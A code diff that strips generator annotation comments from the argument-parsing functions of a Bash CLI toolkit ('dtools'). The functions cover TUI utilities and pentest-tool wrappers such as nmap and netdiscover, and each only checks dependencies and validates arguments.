dtools_tui_data_jupyter_notebook_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24753,7 +22113,6 @@ dtools_tui_misc_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -24885,7 +22244,6 @@ dtools_tui_misc_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_misc_usage >&2 exit 1 @@ -24898,7 +22256,6 @@ dtools_tui_misc_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24909,8 +22266,7 @@ dtools_tui_misc_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24921,11 +22277,9 @@ dtools_tui_misc_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_notes_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24942,9 +22296,8 @@ dtools_tui_misc_notes_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v joplin >/dev/null 2>&1; then printf "missing dependency: joplin\n" >&2 printf "%s\n\n" "See 'https://joplinapp.org/help/apps/terminal/'" >&2 @@ -24957,10 +22310,8 @@ dtools_tui_misc_notes_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc notes" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -24971,8 +22322,7 @@ dtools_tui_misc_notes_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -24983,11 +22333,9 @@ dtools_tui_misc_notes_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_presentation_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25004,9 +22352,8 @@ dtools_tui_misc_presentation_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v patat >/dev/null 2>&1; then printf "missing dependency: patat\n" >&2 printf "%s\n\n" "See 'https://github.com/jaspervdj/patat'" >&2 @@ -25019,10 +22366,8 @@ dtools_tui_misc_presentation_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc presentation" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25033,8 +22378,7 @@ dtools_tui_misc_presentation_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25045,11 +22389,9 @@ dtools_tui_misc_presentation_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_dev_chat_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25066,10 +22408,8 @@ dtools_tui_misc_dev_chat_parse_requirements() { esac done - # :command.command_filter action="tui misc dev-chat" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25080,9 +22420,7 @@ dtools_tui_misc_dev_chat_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['nickname']+x} ]]; then args['nickname']=$1 shift @@ -25096,7 +22434,6 @@ dtools_tui_misc_dev_chat_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['nickname']+x} ]]; then printf "missing required argument: NICKNAME\nusage: dtools tui misc dev-chat NICKNAME\n" >&2 @@ -25105,11 +22442,9 @@ dtools_tui_misc_dev_chat_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_file_manager_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25126,9 +22461,8 @@ dtools_tui_misc_file_manager_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v nnn >/dev/null 2>&1; then printf "missing dependency: nnn\n" >&2 printf "%s\n\n" "See 'https://github.com/jarun/nnn'" >&2 @@ -25141,10 +22475,8 @@ dtools_tui_misc_file_manager_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc file-manager" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25155,8 +22487,7 @@ dtools_tui_misc_file_manager_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25167,11 +22498,9 @@ dtools_tui_misc_file_manager_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_screensaver_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25188,9 +22517,8 @@ dtools_tui_misc_screensaver_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v ttysvr >/dev/null 2>&1; then printf "missing dependency: ttysvr\n" >&2 printf "%s\n\n" "See 'https://github.com/cxreiff/ttysvr'" >&2 @@ -25203,10 +22531,8 @@ dtools_tui_misc_screensaver_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc screensaver" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25217,8 +22543,7 @@ dtools_tui_misc_screensaver_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25229,11 +22554,9 @@ dtools_tui_misc_screensaver_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_weather_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25250,9 +22573,8 @@ dtools_tui_misc_weather_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v wego >/dev/null 2>&1; then printf "missing dependency: wego\n" >&2 printf "%s\n\n" "See 'https://github.com/schachmat/wego'" >&2 @@ -25265,10 +22587,8 @@ dtools_tui_misc_weather_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc weather" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25279,8 +22599,7 @@ dtools_tui_misc_weather_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25291,11 +22610,9 @@ dtools_tui_misc_weather_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_linutil_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25312,9 +22629,8 @@ dtools_tui_misc_linutil_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v linutil >/dev/null 2>&1; then printf "missing dependency: linutil\n" >&2 printf "%s\n\n" "See 'https://github.com/ChrisTitusTech/linutil'" >&2 @@ -25327,10 +22643,8 @@ dtools_tui_misc_linutil_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc linutil" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25341,8 +22655,7 @@ dtools_tui_misc_linutil_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25353,11 +22666,9 @@ dtools_tui_misc_linutil_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_slack_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25374,9 +22685,8 @@ dtools_tui_misc_slack_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v slack-term >/dev/null 2>&1; then printf "missing dependency: slack-term\n" >&2 printf "%s\n\n" "See 'https://github.com/jpbruinsslot/slack-term'" >&2 @@ -25389,10 +22699,8 @@ dtools_tui_misc_slack_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc slack" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25403,8 +22711,7 @@ dtools_tui_misc_slack_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25415,11 +22722,9 @@ dtools_tui_misc_slack_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_youtube_music_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25436,9 +22741,8 @@ dtools_tui_misc_youtube_music_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v ytermusic >/dev/null 2>&1; then printf "missing dependency: ytermusic\n" >&2 printf "%s\n\n" "See 'https://github.com/ccgauche/ytermusic'" >&2 @@ -25451,10 +22755,8 @@ dtools_tui_misc_youtube_music_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc youtube-music" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25465,8 +22767,7 @@ dtools_tui_misc_youtube_music_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25477,11 +22778,9 @@ dtools_tui_misc_youtube_music_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_youtube_music_2_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25498,9 +22797,8 @@ dtools_tui_misc_youtube_music_2_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v ytui_music >/dev/null 2>&1; then printf "missing dependency: ytui_music\n" >&2 printf "%s\n\n" "See 'https://github.com/sudipghimire533/ytui-music'" >&2 @@ -25513,10 +22811,8 @@ dtools_tui_misc_youtube_music_2_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc youtube-music-2" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25527,8 +22823,7 @@ dtools_tui_misc_youtube_music_2_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25539,11 +22834,9 @@ dtools_tui_misc_youtube_music_2_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_jellyfin_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25560,9 +22853,8 @@ dtools_tui_misc_jellyfin_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v jellyfin-tui >/dev/null 2>&1; then printf "missing dependency: jellyfin-tui\n" >&2 printf "%s\n\n" "See 'https://github.com/dhonus/jellyfin-tui'" >&2 @@ -25575,10 +22867,8 @@ dtools_tui_misc_jellyfin_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc jellyfin" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25589,8 +22879,7 @@ dtools_tui_misc_jellyfin_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25601,11 +22890,9 @@ dtools_tui_misc_jellyfin_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_visualizations_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25622,9 +22909,8 @@ dtools_tui_misc_visualizations_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v vis >/dev/null 2>&1; then printf "missing dependency: vis\n" >&2 printf "%s\n\n" "See 'https://github.com/PosixAlchemist/cli-visualizer#'" >&2 @@ -25637,10 +22923,8 @@ dtools_tui_misc_visualizations_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc visualizations" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25651,8 +22935,7 @@ dtools_tui_misc_visualizations_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25663,11 +22946,9 @@ dtools_tui_misc_visualizations_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_visualizations_2_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25684,9 +22965,8 @@ dtools_tui_misc_visualizations_2_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v cava >/dev/null 2>&1; then printf "missing dependency: cava\n" >&2 printf "%s\n\n" "See 'https://github.com/karlstav/cava'" >&2 @@ -25699,10 +22979,8 @@ dtools_tui_misc_visualizations_2_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc visualizations-2" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25713,8 +22991,7 @@ dtools_tui_misc_visualizations_2_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25725,11 +23002,9 @@ dtools_tui_misc_visualizations_2_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_find_and_replace_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25746,9 +23021,8 @@ dtools_tui_misc_find_and_replace_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v scooter >/dev/null 2>&1; then printf "missing dependency: scooter\n" >&2 printf "%s\n\n" "See 'https://github.com/thomasschafer/scooter'" >&2 @@ -25761,10 +23035,8 @@ dtools_tui_misc_find_and_replace_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc find-and-replace" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25775,8 +23047,7 @@ dtools_tui_misc_find_and_replace_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25787,11 +23058,9 @@ dtools_tui_misc_find_and_replace_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_ascii_theater_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25808,10 +23077,8 @@ dtools_tui_misc_ascii_theater_parse_requirements() { esac done - # :command.command_filter action="tui misc ascii-theater" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25822,8 +23089,7 @@ dtools_tui_misc_ascii_theater_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25834,11 +23100,9 @@ dtools_tui_misc_ascii_theater_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_calendar_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25855,9 +23119,8 @@ dtools_tui_misc_calendar_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v calcure >/dev/null 2>&1; then printf "missing dependency: calcure\n" >&2 printf "%s\n\n" "See 'https://anufrievroman.gitbook.io/calcure'" >&2 @@ -25870,10 +23133,8 @@ dtools_tui_misc_calendar_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc calendar" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25884,8 +23145,7 @@ dtools_tui_misc_calendar_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25896,11 +23156,9 @@ dtools_tui_misc_calendar_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_piano_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25917,9 +23175,8 @@ dtools_tui_misc_piano_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v upiano >/dev/null 2>&1; then printf "missing dependency: upiano\n" >&2 printf "%s\n\n" "See 'https://github.com/eliasdorneles/upiano'" >&2 @@ -25932,10 +23189,8 @@ dtools_tui_misc_piano_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc piano" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25946,8 +23201,7 @@ dtools_tui_misc_piano_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -25958,11 +23212,9 @@ dtools_tui_misc_piano_parse_requirements() { } -# :command.parse_requirements dtools_tui_misc_servarr_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -25979,9 +23231,8 @@ dtools_tui_misc_servarr_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v managarr >/dev/null 2>&1; then printf "missing dependency: managarr\n" >&2 printf "%s\n\n" "See 'https://github.com/Dark-Alex-17/managarr'" >&2 @@ -25994,10 +23245,8 @@ dtools_tui_misc_servarr_parse_requirements() { exit 1 fi - # :command.command_filter action="tui misc servarr" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26008,8 +23257,7 @@ dtools_tui_misc_servarr_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26020,11 +23268,9 @@ dtools_tui_misc_servarr_parse_requirements() { } -# :command.parse_requirements dtools_tui_sandbox_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26041,7 +23287,6 @@ dtools_tui_sandbox_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -26075,7 +23320,6 @@ dtools_tui_sandbox_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_sandbox_usage >&2 exit 1 @@ -26088,7 +23332,6 @@ dtools_tui_sandbox_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26099,8 +23342,7 @@ dtools_tui_sandbox_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26111,11 +23353,9 @@ dtools_tui_sandbox_parse_requirements() { } -# :command.parse_requirements dtools_tui_sandbox_jqp_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26132,9 +23372,8 @@ dtools_tui_sandbox_jqp_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v jqp >/dev/null 2>&1; then printf "missing dependency: jqp\n" >&2 printf "%s\n\n" "See 'https://github.com/noahgorstein/jqp'" >&2 @@ -26147,10 +23386,8 @@ dtools_tui_sandbox_jqp_parse_requirements() { exit 1 fi - # :command.command_filter action="tui sandbox jqp" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26161,9 +23398,7 @@ dtools_tui_sandbox_jqp_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['json_file']+x} ]]; then args['json_file']=$1 shift @@ -26177,7 +23412,6 @@ dtools_tui_sandbox_jqp_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['json_file']+x} ]]; then printf "missing required argument: JSON_FILE\nusage: dtools tui sandbox jqp JSON_FILE\n" >&2 @@ -26186,11 +23420,9 @@ dtools_tui_sandbox_jqp_parse_requirements() { } -# :command.parse_requirements dtools_tui_sandbox_desed_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26207,9 +23439,8 @@ dtools_tui_sandbox_desed_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v desed >/dev/null 2>&1; then printf "missing dependency: desed\n" >&2 printf "%s\n\n" "See 'https://github.com/SoptikHa2/desed'" >&2 @@ -26222,10 +23453,8 @@ dtools_tui_sandbox_desed_parse_requirements() { exit 1 fi - # :command.command_filter action="tui sandbox desed" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26236,8 +23465,7 @@ dtools_tui_sandbox_desed_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26248,11 +23476,9 @@ dtools_tui_sandbox_desed_parse_requirements() { } -# :command.parse_requirements dtools_tui_sandbox_play_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26269,9 +23495,8 @@ dtools_tui_sandbox_play_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v play >/dev/null 2>&1; then printf "missing dependency: play\n" >&2 printf "%s\n\n" "See 'https://github.com/paololazzari/play'" >&2 @@ -26284,10 +23509,8 @@ dtools_tui_sandbox_play_parse_requirements() { exit 1 fi - # :command.command_filter action="tui sandbox play" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26298,9 +23521,7 @@ dtools_tui_sandbox_play_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['program']+x} ]]; then args['program']=$1 shift @@ -26314,14 +23535,12 @@ dtools_tui_sandbox_play_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['program']+x} ]]; then printf "missing required argument: PROGRAM\nusage: dtools tui sandbox play PROGRAM\n" >&2 exit 1 fi - # :command.whitelist_filter if [[ -n ${args['program']:-} ]] && [[ ! ${args['program']:-} =~ ^(sed|awk|grep)$ ]]; then printf "%s\n" "program must be one of: sed, awk, grep" >&2 exit 1 @@ -26329,11 +23548,9 @@ dtools_tui_sandbox_play_parse_requirements() { } -# :command.parse_requirements dtools_tui_sandbox_regect_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26350,9 +23567,8 @@ dtools_tui_sandbox_regect_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v regect >/dev/null 2>&1; then printf "missing dependency: regect\n" >&2 printf "%s\n\n" "See 'https://github.com/kloki/regect'" >&2 @@ -26365,10 +23581,8 @@ dtools_tui_sandbox_regect_parse_requirements() { exit 1 fi - # :command.command_filter action="tui sandbox regect" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26379,8 +23593,7 @@ dtools_tui_sandbox_regect_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26391,11 +23604,9 @@ dtools_tui_sandbox_regect_parse_requirements() { } -# :command.parse_requirements dtools_tui_ai_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26412,7 +23623,6 @@ dtools_tui_ai_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -26425,7 +23635,6 @@ dtools_tui_ai_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_tui_ai_usage >&2 exit 1 @@ -26438,7 +23647,6 @@ dtools_tui_ai_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26449,8 +23657,7 @@ dtools_tui_ai_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26461,11 +23668,9 @@ dtools_tui_ai_parse_requirements() { } -# :command.parse_requirements dtools_tui_ai_elia_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26482,9 +23687,8 @@ dtools_tui_ai_elia_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v elia >/dev/null 2>&1; then printf "missing dependency: elia\n" >&2 printf "%s\n\n" "See 'https://github.com/darrenburns/elia'" >&2 @@ -26497,10 +23701,8 @@ dtools_tui_ai_elia_parse_requirements() { exit 1 fi - # :command.command_filter action="tui ai elia" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26511,8 +23713,7 @@ dtools_tui_ai_elia_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26523,11 +23724,9 @@ dtools_tui_ai_elia_parse_requirements() { } -# :command.parse_requirements dtools_pentest_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26544,7 +23743,6 @@ dtools_pentest_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -26634,7 +23832,6 @@ dtools_pentest_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_pentest_usage >&2 exit 1 @@ -26647,7 +23844,6 @@ dtools_pentest_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26658,8 +23854,7 @@ dtools_pentest_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26670,11 +23865,9 @@ dtools_pentest_parse_requirements() { } -# :command.parse_requirements dtools_pentest_maltego_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26691,9 +23884,8 @@ dtools_pentest_maltego_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v maltego >/dev/null 2>&1; then printf "missing dependency: maltego\n" >&2 printf "%s\n\n" "See 'https://www.maltego.com/downloads/'" >&2 @@ -26706,10 +23898,8 @@ dtools_pentest_maltego_parse_requirements() { exit 1 fi - # :command.command_filter action="pentest maltego" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26720,8 +23910,7 @@ dtools_pentest_maltego_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26732,11 +23921,9 @@ dtools_pentest_maltego_parse_requirements() { } -# :command.parse_requirements dtools_pentest_ifconfig_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26753,10 +23940,8 @@ dtools_pentest_ifconfig_parse_requirements() { esac done - # :command.command_filter action="pentest ifconfig" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26767,8 +23952,7 @@ dtools_pentest_ifconfig_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26777,7 +23961,6 @@ dtools_pentest_ifconfig_parse_requirements() { esac done - # :command.user_filter filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -26786,11 +23969,9 @@ dtools_pentest_ifconfig_parse_requirements() { } -# :command.parse_requirements dtools_pentest_netdiscover_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26807,9 +23988,8 @@ dtools_pentest_netdiscover_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v netdiscover >/dev/null 2>&1; then printf "missing dependency: netdiscover\n" >&2 printf "%s\n\n" "Install with 'sudo apt install netdiscover'" >&2 @@ -26822,10 +24002,8 @@ dtools_pentest_netdiscover_parse_requirements() { exit 1 fi - # :command.command_filter action="pentest netdiscover" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26836,8 +24014,7 @@ dtools_pentest_netdiscover_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26846,7 +24023,6 @@ dtools_pentest_netdiscover_parse_requirements() { esac done - # :command.user_filter filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -26855,11 +24031,9 @@ dtools_pentest_netdiscover_parse_requirements() { } -# :command.parse_requirements dtools_pentest_nmap_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26876,9 +24050,8 @@ dtools_pentest_nmap_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v nmap >/dev/null 2>&1; then printf "missing dependency: nmap\n" >&2 printf "%s\n\n" "See 'https://nmap.org/download'" >&2 @@ -26891,10 +24064,8 @@ dtools_pentest_nmap_parse_requirements() { exit 1 fi - # :command.command_filter action="pentest nmap" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26905,8 +24076,7 @@ dtools_pentest_nmap_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26917,11 +24087,9 @@ dtools_pentest_nmap_parse_requirements() { } -# :command.parse_requirements dtools_pentest_arpspoof_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26938,9 +24106,8 @@ 